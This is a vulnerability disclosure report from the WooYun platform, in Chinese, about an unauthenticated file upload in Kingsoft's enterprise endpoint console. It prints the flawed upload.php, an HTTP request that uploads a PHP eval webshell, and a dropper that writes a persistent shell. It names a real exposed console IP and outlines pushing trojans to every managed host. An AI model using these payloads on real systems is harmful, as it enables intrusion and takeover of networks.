当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086015

漏洞标题:金山企业终端防护优化系统Web控制台无需登录任意文件上传(怀疑后门)

相关厂商:金山毒霸

漏洞作者: xfkxfk

提交时间:2014-12-05 18:42

修复时间:2015-03-05 18:44

公开时间:2015-03-05 18:44

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-05: 细节已通知厂商并且等待厂商处理中
2014-12-08: 厂商已经确认,细节仅向厂商公开
2015-02-01: 细节向核心白帽子及相关领域专家公开
2015-02-11: 细节向普通白帽子公开
2015-02-21: 细节向实习白帽子公开
2015-03-05: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

金山企业终端防护优化系统Web控制台无需登录任意文件上传,怀疑是自己留的后门?而且此系统运行的都是system权限,没有然后了!
最新版:2014-12-04的版本测试

详细说明:

今天看到这个漏洞:
http://wooyun.org/bugs/wooyun-2014-085148
但是未公开,看不到内容
然后再官网下了一个最新版的:2014-12-04,昨天才更新的
安装后发现存在/tools/manage/upload.php文件

<?php
// In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
// of $_FILES.
$uploaddir = '..//..//UploadDir//';
if(file_exists('../../../server.conf') != false)
{
$settings = parse_ini_file('../../../server.conf', true);
$uploaddirex = $settings['UploadSet']['CltUploadUrl'];
if($uploaddirex)
{
$uploaddir = $uploaddirex;
}
}else
{
//写入配置文件
}
mkdir($uploaddir,0777, true);
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";
?>


看看代码得知,这里没有权限验证,而且直接上传文件到根目录下的UploadDir目录
文件类型没有任何限制,直接上传php文件:

POST /tools/manage/upload.php HTTP/1.1
Host: 127.0.0.1:6868
Connection: keep-alive
Content-Length: 220
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:6868
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym9ssJ6F9ti74PdBE
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2
------WebKitFormBoundarym9ssJ6F9ti74PdBE
Content-Disposition: form-data; name="file"; filename="222222.php"
Content-Type: image/jpeg
<?php
@eval($_POST[cmd]);phpinfo();
?>
------WebKitFormBoundarym9ssJ6F9ti74PdBE


1.png


成功上传文件。
文件地址:

http://127.0.0.1:6868/UploadDir/222222.php


但是这里上传文件在过几秒之后,会自动删除,大概在2-3秒左右
那么我们换一个文件内容,让他在短时间内写一个文件到其他目录。
shell文件内容如下:

<?php
fputs(fopen('../tools/shell.php','w'),'<?php @eval($_POST[cmd]);phpinfo();?>');
?>


然后接着访问:

http://127.0.0.1:6868/UploadDir/222222.php


最后会在/tools/目录下生成shell.php,最后shell地址:

http://127.0.0.1:6868/tools/shell.php


这样就简单 的拿到web控制台的shell了。
此文件没有任何用处,就是一个单独的文件上传。
其他文件也不见引用。
而且在找到的案例中,大部分都更新到最新版了12-04了
因为这个系统在安装时会安装自动更新
但是这个文件却没有变,看时间还是很久以前的
难道这不是后门么?
下面我们讲讲危害:
这个web控制台管理者企业内的全部主机:
我们找一个案例:

http://60.190.151.150


2.png


此Web控制台中管理者20台主机,看起来好像是lenovo的主机。
如果我们拿下这一台主机,其他主机都可以那此主机来管理
很简单:
1、在推荐工具处上传木马
2、在部署中心,发布推荐同志消息
3、让控制主机下载安装
4、这样即可自动拿到全部主机
还有就是此系统是运行在system权限下的,所以通过拿到shell即可拿到主机
我们找几个案例看看:

3.png


其他几个案例也是system权限,不一一列举了

漏洞证明:

3.png

修复方案:

这个文件没啥用,删了吧

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-08 11:23

厂商回复:

感谢您的提交,我们已经修复该问题

最新状态:

2015-01-13:漏洞已修复